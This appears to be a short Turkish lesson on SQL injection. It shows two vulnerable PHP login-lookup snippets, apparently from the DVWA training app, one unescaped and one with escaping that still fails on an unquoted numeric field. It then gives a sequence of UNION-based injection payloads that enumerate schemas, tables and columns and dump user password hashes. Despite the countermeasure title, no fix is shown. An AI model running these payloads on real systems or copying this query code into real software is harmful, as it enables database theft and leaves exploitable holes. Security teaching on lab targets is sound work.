Dersin Hedefi

SQL Injection'a Karşı Önlem

<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
' );

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; 

        // Increase loop count 
        $i++; 
    } 

    mysql_close(); 
} 

?>

<?php 

if( isset( $_POST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
' );

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Display values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; 

        // Increase loop count 
        $i++; 
    } 

    //mysql_close(); 
} 

?> 

99 or 1 = 1 #
99 or 1 = 1 ORDER BY 1 #
99 or 1 = 1 ORDER BY 2 #  
99 or 1 = 1 ORDER BY 3 #  
99 or 1 = 1 UNION Select 1,2 #
99 or 1 = 1 UNION Select 1,version() #  
99 or 1 = 1 UNION Select 1,schema_name from information_schema.schemata #
99 or 1 = 1 UNION Select 1,group_concat(schema_name) from information_schema.schemata #
99 or 1 = 1 UNION Select 1,group_concat(table_name) from information_schema.tables Where table_schema=0x64767761 # 
99 or 1 = 1 UNION Select 1,group_concat(column_name) from information_schema.columns Where table_name=0x7573657273 #
99 or 1 = 1 UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users #